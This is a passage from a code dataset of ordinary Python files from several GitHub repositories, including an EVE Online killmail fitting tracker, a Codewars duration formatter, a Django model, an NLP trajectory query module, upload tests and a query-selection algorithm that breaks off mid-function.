Vehicle(vertices=self.vertices)\n\n def load_stl(\n self,\n filename: str,\n scale: float = 1.0,\n ):\n with open(filename, \"rb\") as f:\n mesh = trimesh.load(\n f,\n file_type=\"stl\",\n )\n vertices = mesh.vertices\n if scale != 1.0:\n vertices = [point * scale for point in vertices]\n\n return vertices\n\n def get_wing_asset(self):\n if self.faces:\n return f\"\"\"\n \n \n \"\"\"\n else:\n return f\"\"\"\n \n \n \"\"\"\n\n def xml(self) -> tuple[str, str]:\n density_tag = f'density=\"{WING_DENSITY}\"'\n mass_tag = f'mass=\"{self.mass_kg}\"'\n pos_tag = f'pos=\"{\" \".join([str(-self.max_dim_m // 2) for _ in range(3)])}\"'\n\n body_xml = f\"\"\"\n \n \n \n \n \n {create_pilot_geom() if self.pilot else ''}\n \n \"\"\"\n\n asset_xml = self.get_wing_asset()\n return body_xml, asset_xml\n\n def show(self):\n media.show_image(visualization.view_vehicle(*self.xml()))\n\n def exceeds_max_dim(self) -> bool:\n try:\n for vertex in self.vertices:\n for second_vertex in self.vertices:\n norm = np.linalg.norm(np.array(vertex) - np.array(second_vertex))\n assert norm <= self.max_dim_m\n return False\n except AssertionError:\n return True\n\n\ndef to_vertex_list(\n points: list,\n) -> str:\n str_points = []\n\n for point in points:\n str_points.append(\" \".join([str(coord) for coord in list(point)]))\n return \" \".join(str_points)\n","repo_name":"Luan-vP/glider","sub_path":"src/glider/vehicle.py","file_name":"vehicle.py","file_ext":"py","file_size_in_byte":6498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38529586213","text":"import requests\nimport json\nimport time\nimport threading\nfrom sys import stdout, stderr\nimport urllib.request\nimport urllib.parse\nimport logging\n\n\ndef print_to_file(shipdict):\n lock.acquire()\n with open('data.json', 'w') as fp:\n fp.truncate()\n json.dump(shipdict, fp, indent=1)\n lock.release()\n\n\ndef auto_write_file(delay, shipdict):\n while 1:\n time.sleep(delay)\n print_to_file(shipdict)\n print_i_cache()\n\ndef print_i_cache():\n lock.acquire()\n with open('item_data.json', 'w') as fp:\n fp.truncate()\n json.dump(name_cache, fp, indent=1)\n lock.release()\n\n\ndef load_icache_from_file():\n with open('item_data.json') as fp:\n data = json.load(fp)\n for key, values in data.items(): # rebuilt the dictionary; needed due to how json stores keys\n # for x in range(0,3):\n name_cache[int(key)] = values\n\n\ndef load_from_file(shipdict):\n with open('data.json') as fp:\n data = json.load(fp)\n for key, values in data.items(): # rebuilt the dictionary; needed due to how json stores keys\n # for x in range(0,3):\n x = data[key]\n shipdict[int(key)] = [{}, {}, {}, {}] # initialize the dict entry for each hull\n for iter in range(0, 4):\n list = x[iter] # iterate through the loaded data from data.json\n # shipdict[int(key)][iter][\"count\"] = list[\"count\"]\n for ikey, ivalue in list.items():\n if ikey == \"count\":\n shipdict[int(key)][iter][ikey] = ivalue # count is the only key that is a string\n else:\n shipdict[int(key)][iter][int(ikey)] = ivalue # convert all other keys into integers\n return shipdict\n\n\ndef getdata(delay, shipdict):\n while True:\n r = requests.get('https://redisq.zkillboard.com/listen.php') # Wait for a kill mail to in then pick it up\n if r is not None:\n killmail = r.json() # save it in a a json format\n try:\n if killmail is not None:\n km = killmail[\"package\"][\"killmail\"][\"victim\"][\"items\"] # grab the list of items\n ship_id = killmail[\"package\"][\"killmail\"][\"victim\"][\"ship_type_id\"] # Grab the item ID of the hull\n lock.acquire()\n # Ship exists in the dict\n if ship_id in shipdict:\n ship = shipdict.get(ship_id) # Grab the lists for that ship\n for x in km:\n flag = True\n item_id = x[\"item_type_id\"]\n fnum = x[\"flag\"]\n if 11 <= fnum < 19: # Check which slot the item is in\n currslot = ship[0]\n elif 19 <= fnum < 27:\n currslot = ship[1]\n elif 27 <= fnum < 35:\n currslot = ship[2]\n elif 92 <= fnum < 95:\n currslot = ship[3]\n else:\n flag = False\n # Continue if item is one of our tracked slots.\n if flag:\n # Item exists already\n if item_id in currslot: # This item has been seen for this hull previously\n # Increment total slot count and this item count\n currslot[\"count\"] = currslot[\"count\"] + 1\n currslot[item_id] = currslot[item_id] + 1\n lock.release()\n # check if this item fits in the top 10 then update the list\n index = check_top_ten(currslot, currslot[item_id],item_id)\n shift_top_ten(currslot, item_id, index)\n lock.acquire()\n else:\n # Item does not exist\n if \"count\" in currslot: # We have seen items for this hull in this slot\n # increment the total slot count and initialize this item count to 1\n currslot[\"count\"] = currslot[\"count\"] + 1\n currslot[item_id] = 1\n lock.release()\n # Check the top 10 and update if necessary\n index = check_top_ten(currslot, currslot[item_id],item_id)\n shift_top_ten(currslot, item_id, index)\n lock.acquire()\n else:\n # if no items have been seen for this hull in this slot initialize the dict\n currslot[\"count\"] = 1\n currslot[item_id] = 1\n # Start the top 10 item list\n currslot[1] = item_id\n currslot[0] = 0\n # initialize the rest of the top 10 to 0\n for num in range(2, 11):\n currslot[num] = 0\n \"\"\"lock.release()\n index = check_top_ten(currslot, currslot[item_id])\n shift_top_ten(currslot, item_id, index)\n lock.acquire()\"\"\"\n\n # Ship does not exist in the dict\n else:\n # initialize the lists of dictionaries for this hull; each entry in the list is a slot type\n shipdict[ship_id] = [{}, {}, {}, {}]\n ship = shipdict.get(ship_id)\n for x in km:\n flag = True\n item_id = x[\"item_type_id\"] # Grab the item Id and the slot flag\n fnum = x[\"flag\"]\n if 11 <= fnum < 19: # Check which slot the item is in\n currslot = ship[0]\n elif 19 <= fnum < 27:\n currslot = ship[1]\n elif 27 <= fnum < 35:\n currslot = ship[2]\n elif 92 <= fnum < 95:\n currslot = ship[3]\n else:\n flag = False\n if flag:\n if item_id in currslot:\n # If the item already exists\n currslot[\"count\"] = currslot[\"count\"] + 1 # Increment total slot count and item count\n currslot[item_id] = currslot[item_id] + 1\n lock.release()\n index = check_top_ten(currslot, currslot[item_id], item_id)\n shift_top_ten(currslot, item_id, index)\n lock.acquire()\n else:\n if \"count\" in currslot:\n currslot[\"count\"] = currslot[\"count\"] + 1\n currslot[item_id] = 1\n lock.release()\n index = check_top_ten(currslot, currslot[item_id],item_id)\n shift_top_ten(currslot, item_id, index)\n lock.acquire()\n else:\n currslot[\"count\"] = 1\n currslot[item_id] = 1\n currslot[1] = item_id\n currslot[0] = 0\n for num in range(2, 11):\n currslot[num] = 0\n # print(ship)\n # print(ship_id)\n lock.release()\n time.sleep(delay)\n except Exception as e:\n logging.exception(e)\n\n\ndef check_top_ten(shipslot, itemcount, item_id):\n \"\"\"Indexes 1-10 in each slot dictionary contains the item id of the item that belongs in that slot\n If not in top 10\"\"\"\n flag = False\n dupe_loc = 0\n return_value = 0\n try:\n test = shipslot[shipslot[10]]\n for x in range(1, 11):\n if item_id == shipslot[x]:\n flag = True\n dupe_loc = x\n if flag:\n for l in range(1, dupe_loc+1):\n if shipslot[shipslot[l]] == itemcount-1:\n temp = shipslot[l]\n shipslot[l] = item_id\n shipslot[dupe_loc] = temp\n return 0\n else:\n return 0\n if itemcount < shipslot[shipslot[10]]:\n return_value = 0\n else:\n # if greater than slot 1\n if itemcount > shipslot[shipslot[1]]:\n return_value = 1\n elif itemcount > shipslot[shipslot[5]]: # if in top 5\n for x in range(2, 6):\n if itemcount > shipslot[shipslot[x]]:\n return_value = x # return the slot this item will fit\n break\n else: # if in top 10 but not top 5\n for y in range(6, 10):\n if itemcount > shipslot[shipslot[y]]:\n return_value = y # return the slot this item will fit i\n break\n return return_value\n except Exception as e:\n logging.exception(e)\n return 0\n\n\ndef shift_top_ten(shipslot, item_id, index):\n \"\"\" Takes the current shipslot dict, the item ID being inserted, and index at which the ID needs to be replaced\n returns 1 if something is inserted and 0 otherwise\"\"\"\n lock.acquire()\n try:\n if index is None:\n lock.release()\n return 0\n elif index < 1 or index > 10:\n lock.release()\n return 0\n else:\n if item_id == shipslot[index]:\n lock.release()\n return 0\n for slot in range(9, index-1, -1):\n shipslot[slot] = shipslot[slot - 1]\n shipslot[index] = item_id\n lock.release()\n return 1\n\n except Exception as e:\n lock.release()\n logging.exception(e)\n\n\n#port the list of ships into a list for easier display on the homepage\ndef pstl():\n lock.acquire()\n rList = []\n for keys, values in shipdict.items():\n rList.append(keys)\n lock.release()\n return rList\n\n\n#port the top 10 item list into a list for display on the web app\ndef pitl(Ship_ID, layer):\n lock.acquire()\n rList = []\n itemdict = shipdict[int(Ship_ID)][layer]\n for x in range(0, 11):\n if itemdict[x] != 0:\n rList.append(itemdict[x])\n lock.release()\n return rList\n\n\ndef get_count(hull_id, layer):\n return shipdict[int(hull_id)][layer][\"count\"]\n\ndef check_cache(ids):\n lock.acquire()\n return_array = []\n for item in ids:\n if item not in name_cache:\n id_arr = [item]\n result = esi_get_name(id_arr)\n return_array.append(result[0]['name'])\n name_cache[item] = result[0]['name']\n else:\n return_array.append(name_cache[item])\n lock.release()\n return return_array\n\n\ndef esi_get_name(ids):\n \"\"\"Make an HTTPS request using urllib and /v2/universe/names/\n must be given AN ARRAY OF IDS\n if success return array of json formatted response\n https://github.com/PoHuit/sso-standings/blob/master/standings.py\"\"\"\n id_array = ids\n id_array = json.dumps(id_array)\n id_array = id_array.encode('utf-8')\n request = urllib.request.Request('https://esi.tech.ccp.is/v2/universe/names/', id_array)\n try:\n response = urllib.request.urlopen(request)\n if response.status == 200:\n try:\n return json.load(response)\n except json.decoder.JSONDecodeError as e:\n print(\"json error: \", e, file=stderr)\n else:\n print(\"bad response status: \", response.status, file=stderr)\n except urllib.error.URLError as e:\n print(\"http error: \", e.code, file=stderr)\n print(\"fetch failed for /v2/universe/names/\", file=stderr)\n exit(1)\n\n\n#calculate the usage percent for each item in the top 10\ndef calculatepercentages(hull_name, layer):\n lock.acquire()\n rList = []\n items = shipdict[int(hull_name)][layer]\n for x in range(0, 11):\n if items[items[x]] != 0:\n rList.append((items[items[x]] / items[\"count\"]) * 100)\n lock.release()\n return rList\n\n\ntry:\n shipdict = {}\n name_cache = {}\n try:\n shipdict = load_from_file(shipdict)\n except ValueError:\n print(\"No Data To Load\")\n try:\n load_icache_from_file()\n except ValueError:\n print(\"No Data To Load\")\n lock = threading.Lock() # Initilize a lock\n data_thread = threading.Thread(target=getdata, args=(10, shipdict)) # Function to grab killmail data\n data_thread.daemon = True\n # Auto write our to our data file\n auto_write_thread = threading.Thread(target=auto_write_file, args=(15, shipdict))\n auto_write_thread.daemon = True\n data_thread.start()\n auto_write_thread.start()\nexcept Exception as e:\n print('Error: unable to start thread')\n logging.exception(e)\n","repo_name":"Tiavaran/ProFits","sub_path":"Evebuilds.py","file_name":"Evebuilds.py","file_ext":"py","file_size_in_byte":13639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44706600934","text":"# https://www.codewars.com/kata/52742f58faf5485cae000b9a/train/python\n# year- 31536000 day- 86400 hour- 3600\n\ndef format_duration(seconds):\n if seconds == 0:\n return 'now'\n\n years = seconds // 31536000\n seconds = seconds - years * 31536000\n days = seconds // 86400\n seconds = seconds - days * 86400\n hours = seconds // 3600\n seconds = seconds - hours * 3600\n minutes = seconds // 60\n seconds = seconds - minutes * 60\n\n res = []\n if years > 0:\n if years > 1:\n res_years = f'{years} years'\n res.append(res_years)\n if years == 1:\n res_years = f'{years} year'\n res.append(res_years)\n\n if days > 0:\n if days > 1:\n res_days = f'{days} days'\n res.append(res_days)\n if days == 1:\n res_days = f'{days} day'\n res.append(res_days)\n\n if hours > 0:\n if hours > 1:\n res_hours = f'{hours} hours'\n res.append(res_hours)\n if hours == 1:\n res_hours = f'{hours} hour'\n res.append(res_hours)\n\n if minutes > 0:\n if minutes > 1:\n res_minutes = f'{minutes} minutes'\n res.append(res_minutes)\n if minutes == 1:\n res_minutes = f'{minutes} minute'\n res.append(res_minutes)\n\n if seconds > 0:\n if seconds > 1:\n res_seconds = f'{seconds} seconds'\n res.append(res_seconds)\n if seconds == 1:\n res_seconds = f'{seconds} second'\n res.append(res_seconds)\n\n\n if len(res) == 5:\n return f'{res[0]}, {res[1]}, {res[2]}, {res[3]} and {res[4]}'\n\n if len(res) == 4:\n return f'{res[0]}, {res[1]}, {res[2]} and {res[3]}'\n\n if len(res) == 3:\n return f'{res[0]}, {res[1]} and {res[2]}'\n\n if len(res) == 2:\n return f'{res[0]} and {res[1]}'\n\n if len(res) == 1:\n return f'{res[0]}'\n\n\n\n\n\n\n\nprint(format_duration(63))","repo_name":"OlegLeva/udemypython","sub_path":"formatduration.py","file_name":"formatduration.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22257501829","text":"from django.db import models\n\n# Create your models here.\n\n\"\"\"\nCREATE TABLE `t_document` (\n `id` int NOT NULL AUTO_INCREMENT,\n `name` varchar(128) DEFAULT NULL,\n `url` varchar(512) DEFAULT NULL,\n `create_time` datetime DEFAULT CURRENT_TIMESTAMP,\n `update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,\n `download_count` int DEFAULT '0',\n PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8\n\"\"\"\n\n\nclass Document(models.Model):\n #id = models.IntegerField(primary_key=True)\n name = models.CharField(max_length=128, verbose_name=\"文档名称\")\n url = models.CharField(max_length=512, verbose_name=\"下载链接\")\n create_time = models.DateTimeField(auto_created=True)\n update_time = models.DateTimeField(auto_created=True, auto_now=True)\n download_count = models.IntegerField(default='0', verbose_name=\"下载次数\")\n\n class Meta:\n db_table = 't_document'\n verbose_name = '文档链接'\n verbose_name_plural = verbose_name\n\n\n","repo_name":"meiqizhang/DesertHawk","sub_path":"apps/document/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"1940550453","text":"#!/usr/bin/env python\n\nfrom os.path import exists\nfrom setuptools import setup, find_packages\n\nREADME = 'README.md'\n\nsetup(\n name='django-db-multitenant',\n version='0.1.3',\n author='mike wakerly',\n author_email='opensource@hoho.com',\n packages = find_packages(),\n url='https://github.com/mik3y/django-db-multitenant',\n license='BSD',\n description='Multitenant support for Django, using one tenant per database.',\n long_description=open(README).read() if exists(README) else \"\",\n install_requires=[\n 'Django >= 1.2.0',\n ],\n)\n","repo_name":"Kakuye/django-db-multitenant","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"9865258340","text":"\"\"\"\n分词采用清华大学此法分析包:\nn/名词 np/人名 ns/地名 ni/机构名 nz/其它专名\nm/数词 q/量词 mq/数量词 t/时间词 f/方位词 s/处所词\nv/动词 vm/能愿动词 vd/趋向动词 a/形容词 d/副词\nh/前接成分 k/后接成分 i/习语 j/简称\nr/代词 c/连词 p/介词 u/助词 y/语气助词\ne/叹词 o/拟声词 g/语素 w/标点 x/其它 \n\"\"\"\n# import gensim, logging\nimport thulac\n\nfrom sklearn import manifold\nfrom sklearn.metrics import euclidean_distances\nimport numpy as np\n\n# from . import compare\nfrom backend import pathutil\nfrom backend import traj\nfrom backend import datamanager\nfrom . import nlpqueryutil\nimport logging\n\nMAX_K_NUM = 200\nK_NEARST_NUM = 5\n\nword_cache = {}\n\n# logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\n# Load word2vec model, lazy load\n# model = None\n# model = gensim.models.KeyedVectors.load_word2vec_format(pathutil.MODEL_PATH, binary=True)\n# load thu lac\nthul = thulac.thulac()\n\n# def get_word_vec(word):\n# try:\n# # if model is None:\n# # model = gensim.models.KeyedVectors.load_word2vec_format(pathutil.MODEL_PATH, binary=True)\n# vec = model.get_vector(word)\n# return vec\n# except Exception as e:\n# print('word: ', word, ' has no vector')\n# return None\n\ndef get_participle(sentence):\n return thul.cut(sentence)\n\n\ndef get_similiar_sites(words):\n \"\"\"\n 需要注意_site_cover不能简单地缓存,这是因为用户单独删掉某个单词不能简单的从_site_cover中去掉\n @return 获取词意最相近的基站ID,以set形式返回\n \"\"\"\n sites = set()\n _site_cover = {}\n for i in range(0, len(words)):\n nlp_socket = nlpqueryutil.NlpSocket()\n poi_complex = nlp_socket.query_nlp_new(words[i][0].split('_'), \n MAX_K_NUM, K_NEARST_NUM)\n if len(poi_complex['simple']) == 0:\n print(words, 'has no vector')\n for node in poi_complex['simple']:\n sites.add(node['site_id'])\n state = _site_cover.get(node['site_id'], 0)\n _site_cover[node['site_id']] = state | (1 << i)\n # print('sites:', sites)\n print(_site_cover.items())\n logging.info('get_similiar_sites done!')\n return traj.Traj(len(words), sites, _site_cover)\n\n\n\n\n# by ykj\n# 根据前端返回的 poi 对应的 sites 列表进行查询\n# sites : [ [ p1_s1,p1_s2,p1_s3 ] ,\n# [ p2_s1,p2_s2,p2_s3,p2_s4 ], ... ]\ndef get_k_sites(sites):\n _sites = set()\n _site_cover = {}\n for i in range(0, len(sites)):\n for site in sites[i]:\n _sites.add( site )\n state = _site_cover.get( site , 0)\n _site_cover[ site ] = state | (1 << i) \n \n print(_sites)\n print(_site_cover)\n\n return traj.Traj(len(sites), _sites, _site_cover)\n \n\n\n\ndef get_similiar_sites_simple(words):\n \"\"\"\n 用于get_poi_layer()函数,简化了get_similiar_sites()函数\n 将已经计算的缓存一下\n \"\"\"\n pois = []\n sitesSet = set()\n for i in range(0, len(words)):\n nlp_socket = nlpqueryutil.NlpSocket()\n if words[i][0] in word_cache:\n continue\n poi_complex = nlp_socket.query_nlp_new(words[i][0].split('_'), \n MAX_K_NUM, K_NEARST_NUM)\n if len(poi_complex['simple']) == 0:\n print(words, 'has no vector')\n for node in poi_complex['simple']:\n pois.append(\"'\" + str(node['id']) + \"'\")\n sitesSet.add(node['site_id'])\n word_cache[words[i][0]] = {\n 'name': words[i][0],\n 'data': poi_complex['complex']\n }\n # print(','.join(pois))\n if len(pois) > 0:\n datamanager.update_pois(pois)\n logging.info('get_similiar_sites_simple done!')\n\ndef get_poi_layer(words):\n get_similiar_sites_simple(words)\n results = []\n for word, word_type in words:\n if word in word_cache:\n for split_word in word_cache[word]['data']:\n for relation_word in split_word['data']:\n for poi in relation_word['data']:\n if poi['id'] in datamanager.pois:\n poi.update(datamanager.pois[poi['id']])\n results.append(word_cache[word])\n return results\n\ndef get_k_vecs(word):\n \"\"\"\n 用于计算mds投影\n \"\"\"\n nlp_socket = nlpqueryutil.NlpSocket()\n k_words_vecs = nlp_socket.query_vecs(word, K_NEARST_NUM)\n seed = np.random.RandomState(seed=3)\n k_matrics = [x[2] for x in k_words_vecs]\n similarities = euclidean_distances(k_matrics)\n mds = manifold.MDS(n_components=2, max_iter=3000, eps=1e-9, random_state=seed,\n dissimilarity=\"precomputed\", n_jobs=1)\n pos = mds.fit(similarities).embedding_\n words = [x[0] for x in k_words_vecs]\n ratios = [x[1] for x in k_words_vecs]\n return list(zip(words, ratios, pos))","repo_name":"AgeBing/SemanticTraj","sub_path":"site/backend/nlputil/nlp.py","file_name":"nlp.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71836576728","text":"from datetime import datetime, timedelta\nimport mock\n\nfrom datastore.api import file_store\n\nimport tools\n\n\nclass ChunkedUploadTestCase(tools.FiledepotLoggedInTestCase):\n\n def clear_store(self):\n if hasattr(file_store, 'store'):\n file_store.store.clear()\n\n def tearDown(self):\n super(tools.FiledepotLoggedInTestCase, self).tearDown()\n self.clear_store()\n\n def assertValidChunkResponse(self, data, offset=None, upload_id=None):\n self.assertIn('expires', data)\n self.assertIn('offset', data)\n self.assertIn('upload_id', data)\n if offset is not None:\n self.assertEqual(data['offset'], offset)\n if upload_id is not None:\n self.assertEqual(data['upload_id'], upload_id)\n\n def test_bad_offset(self):\n rv = self.file.chunked_upload('_')\n self.assertEqual(rv.status_code, 200)\n\n id_ = rv.json['upload_id']\n rv = self.file.chunked_upload('_', offset=0, upload_id=id_)\n self.assertEqual(rv.status_code, 400)\n self.assertValidChunkResponse(rv.json, 1, id_)\n\n def test_bad_upload_id(self):\n rv = self.file.chunked_upload('_', upload_id='dummy')\n self.assertEqual(rv.status_code, 404)\n\n def test_commit_bad_upload_id(self):\n rv = self.file.commit_chunked_upload(tools.root, '_', upload_id='_')\n self.assertEqual(rv.status_code, 400)\n\n def test_create_with_offset(self):\n rv = self.file.chunked_upload('_', offset=1)\n self.assertEqual(rv.status_code, 400)\n\n def test_expires(self):\n rv = self.file.chunked_upload('_')\n self.assertEqual(rv.status_code, 200)\n\n old_date = datetime.utcnow() + timedelta(days=1, seconds=1)\n mock_element = 'datastore.api.files.chunked_upload.datetime'\n with mock.patch(mock_element) as mock_datetime:\n mock_datetime.datetime.utcnow.return_value = old_date\n id_ = rv.json['upload_id']\n rv = self.file.chunked_upload('_', offset=0, upload_id=id_)\n self.assertEqual(rv.status_code, 404)\n\n def test_std(self):\n data = [tools.generate_random_data() for _ in range(5)]\n\n rv = self.file.chunked_upload(data[0])\n self.assertEqual(rv.status_code, 200)\n self.assertValidChunkResponse(rv.json, offset=len(data[0]))\n\n id_ = rv.json['upload_id']\n for chunk in data[1:]:\n offset = rv.json['offset']\n rv = self.file.chunked_upload(chunk, offset=offset, upload_id=id_)\n self.assertEqual(rv.status_code, 200)\n self.assertValidChunkResponse(rv.json, upload_id=id_,\n offset=offset + len(chunk))\n\n rv = self.file.commit_chunked_upload(tools.root, '/f1', upload_id=id_)\n self.assertEqual(rv.status_code, 200)\n self.assertValidFileMetadata(rv.json, tools.root, '/f1', ''.join(data))\n","repo_name":"icecrime/datastore","sub_path":"api/tests/test_chunked.py","file_name":"test_chunked.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8408642167","text":"from __future__ import division, print_function\n\nimport random\nimport time\nimport traceback\n\nfrom collections import OrderedDict\nfrom itertools import combinations\nfrom Queue import PriorityQueue\n\nimport numpy as np\n\nfrom .query import Query\nfrom .qig import QIGByType, QIGByRange\n\nTOP_TUPLES = 5\nBOUND_LIMIT = 15\n\nclass Base(object):\n def __init__(self, db, aig=None, info=None):\n self.db = db\n self.aig = aig\n self.info = info\n\n def execute(self, cqs):\n result_meta = {\n 'objective': 0,\n 'total_cq': len(cqs),\n 'exec_cq': 0,\n 'query_time': 0,\n 'comp_time': 0\n }\n return None, None, result_meta\n\n def sort_by_cost(self, cqs):\n # perform ROUGH cost estimation\n by_cost = []\n for cqid, cq in cqs.iteritems():\n by_cost.append((cqid, cq.get_cost(self.db)))\n\n by_cost.sort(key=lambda x: x[1])\n return by_cost\n\n def run_cqs(self, cqs, msg_append='', qig=None, tuples=None):\n if tuples is None:\n tuples = {}\n valid_cqs = []\n timed_out = []\n sql_errors = []\n cached = []\n timeout_encountered = False\n\n start = time.time()\n for cqid, cost in self.sort_by_cost(cqs):\n cq = cqs[cqid]\n\n if timeout_encountered:\n # all CQs with higher cost are automatically assumed timed out\n cq.timed_out = True\n\n try:\n cq_tuples, was_cached = self.db.execute(cq)\n if was_cached:\n cached.append(cqid)\n\n if cq.timed_out:\n timeout_encountered = True\n timed_out.append(cqid)\n elif cq.tuples:\n valid_cqs.append(cqid)\n\n if cq.tuples:\n for t in cq_tuples:\n if t not in tuples:\n tuples[t] = set()\n tuples[t].add(cqid)\n except Exception:\n print(traceback.format_exc())\n sql_errors.append(cqid)\n\n query_time = time.time() - start\n print(\"Done executing CQs [{}s]\".format(query_time))\n\n self.print_stats(cqs.keys(), timed_out, sql_errors, valid_cqs, cached)\n\n return tuples, valid_cqs, timed_out, sql_errors, query_time\n\n def incremental_exec(self, Q, tuples, timed_out):\n print('Running incremental execution for timed out queries...')\n start = time.time()\n\n # sort timed out cqs by descending weight\n by_weight = sorted(filter(lambda x: x[0] in timed_out, Q.iteritems()), key=lambda x: -x[1].w)\n\n # incremental execution of each CQ\n while True:\n no_tuple_count = 0\n found = False\n for cqid, cq in by_weight:\n print('Running CQ {} incremental.'.format(cqid))\n t = self.db.execute_incremental(cq)\n\n if not t:\n print('No tuple found.')\n no_tuple_count += 1\n continue\n\n if t not in tuples:\n tuples[t] = set()\n tuples[t].add(cqid)\n\n for other_cqid in (set(timed_out) - set([cqid])):\n print('Checking if it belongs to {}...'.format(other_cqid))\n if Query.tuple_in_query(self.db, t, Q[other_cqid]):\n tuples[t].add(other_cqid)\n\n if tuples[t] != set(Q.iterkeys()):\n print('Found incremental tuple.')\n found = True\n break\n else:\n print('Belongs to all CQs, skip.')\n del tuples[t]\n cq.empty_cache()\n\n if no_tuple_count == len(by_weight):\n break\n\n if found:\n break\n\n incr_time = time.time() - start\n print('Done running incremental execution [{}s]'.format(incr_time))\n\n return tuples, incr_time\n\n def objective(self, Q, S):\n S_w = 0\n diff_w = 0\n for cqid, cq in Q.iteritems():\n if cqid in S:\n S_w += cq.w\n else:\n diff_w += cq.w\n return abs(S_w - diff_w)\n\n def calc_objectives(self, Q, T):\n print(\"Calculating objective values...\")\n start = time.time()\n\n objectives = {}\n memo = {}\n for t, S in T.iteritems():\n S_key = frozenset(S)\n if S_key in memo:\n objectives[t] = memo[S_key]\n else:\n objectives[t] = self.objective(Q, S)\n memo[S_key] = objectives[t]\n\n objective_time = time.time() - start\n print(\"Done calculating objectives [{}s]\".format(objective_time))\n return objectives, objective_time\n\n def min_objective_tuples(self, Q, T, objectives, check_Q):\n # operates on \"minimal intervention policy\"\n print('Finding min objective tuples, including timed out queries...')\n start = time.time()\n\n objectives = OrderedDict(sorted(objectives.iteritems(), key=lambda t: t[1]))\n to_delete = []\n for t, objective in objectives.iteritems():\n S = T[t]\n\n # check if t exists in any queries not yet executed/timed out\n for cqid in check_Q:\n if Query.tuple_in_query(self.db, t, Q[cqid]):\n S.add(cqid)\n\n # recalculate objective for this\n objectives[t] = self.objective(Q, S)\n\n if S == set(Q.iterkeys()):\n to_delete.append(t)\n else:\n # only execute up to the first\n break\n\n for t in to_delete:\n del objectives[t]\n del T[t]\n\n min_obj_time = time.time() - start\n print('Done finding min objective tuples. [{}s]'.format(min_obj_time))\n return objectives, min_obj_time\n\n def return_tuple(self, Q, t, cqids, result_meta):\n # remove t from all CQ caches in Q before returning\n for cqid, cq in Q.iteritems():\n if cq.tuples:\n cq.tuples.discard(t)\n\n if not cq.tuples:\n # if it's the only tuple, then empty cache so it runs again next time for incremental exec\n cq.empty_cache()\n\n return t, cqids, result_meta\n\n def print_tuple(self, t, objective, S):\n print(\"{}, Objective: {}, # CQs: {}, CQs: {}\".format(t, objective, len(S), S))\n\n def print_best_tuples(self, Q, objectives, T, k):\n print(\"Top {} tuples:\".format(k))\n for t, objective in objectives.items()[0:k]:\n self.print_tuple(t, objective, T[t])\n\n def print_stats(self, exec_cqs, timed_out, sql_errors, valid_cqs, cached):\n print('Executed CQs ({}): {}'.format(len(exec_cqs), exec_cqs))\n print('From Cache ({}): {}'.format(len(cached), cached))\n print('Timed Out CQs ({}): {}'.format(len(timed_out), timed_out))\n print('SQL Error CQs ({}): {}'.format(len(sql_errors), sql_errors))\n print('Valid CQs ({}): {}'.format(len(valid_cqs), valid_cqs))\n\nclass L1S(Base):\n def informative_tuples(self, Q, T):\n start = time.time()\n print('Finding informative tuples...')\n result = {}\n inf_counts = {}\n for t, S in T.iteritems():\n S_key = frozenset(S)\n if len(Q) != len(S):\n if S_key not in inf_counts:\n result[t] = S\n inf_counts[S_key] = 1\n else:\n inf_counts[S_key] += 1\n\n inf_time = time.time() - start\n print('Done finding {} informative tuples [{}s].'.format(len(result), inf_time))\n return result, inf_counts, inf_time\n\n def find_entropies(self, T, inf_counts):\n print('Finding entropies...')\n start = time.time()\n\n is_subset = np.eye(len(T))\n T_items = T.items()\n for i, item in enumerate(T_items):\n t, S = item\n S_key = frozenset(S)\n # is_subset[i,i] = 1\n for j in range(i+1, len(T)):\n t2, S2 = T_items[j]\n S2_key = frozenset(S2)\n\n if len(S) == len(S2):\n if S == S2:\n is_subset[i,j] = inf_counts[S2_key]\n is_subset[j,i] = inf_counts[S_key]\n elif len(S) > len(S2):\n if S2 < S:\n is_subset[j,i] = inf_counts[S_key]\n else:\n if S < S2:\n is_subset[i,j] = inf_counts[S2_key]\n\n entropies = {}\n entropy_set = set()\n\n u_plus_vals = np.sum(is_subset, axis=1)\n u_minus_vals = np.sum(is_subset, axis=0)\n for i, t in enumerate(T.iterkeys()):\n u_plus = u_plus_vals[i]\n u_minus = u_minus_vals[i]\n\n entropy = (min(u_plus, u_minus), max(u_plus, u_minus))\n entropies[t] = entropy\n entropy_set.add(entropy)\n\n print('Done finding entropies [{}s].'.format(time.time() - start))\n return entropies, entropy_set\n\n def find_best_entropy_tuple(self, Q, tuples, T, inf_counts, timed_out):\n print('Finding best entropy tuple...')\n start = time.time()\n\n # calculate entropies for each tuple\n entropies, entropy_set = self.find_entropies(T, inf_counts)\n\n # 94s on iteration 1 for mondial Q5. TODO: beat it\n # entropies, entropy_set = self.find_entropies_slow(T)\n\n m = 0\n skyline = set()\n for e in entropy_set:\n is_skyline = True\n if min(e) > m:\n m = min(e)\n for e2 in entropy_set:\n if e != e2 and e[0] <= e2[0] and e[1] <= e2[1]:\n is_skyline = False\n break\n if is_skyline:\n skyline.add(e)\n\n t_hat = None\n e_hat = None\n for t, e in entropies.iteritems():\n condition = (e in skyline and min(e) == m)\n if t_hat is None or condition:\n # check if t exists in any queries timed out\n for cqid in timed_out:\n if Query.tuple_in_query(self.db, t, Q[cqid]):\n T[t].add(cqid)\n\n # if it belongs to all, continue\n if len(T[t]) == len(Q):\n del T[t]\n del tuples[t]\n continue\n\n t_hat = t\n e_hat = 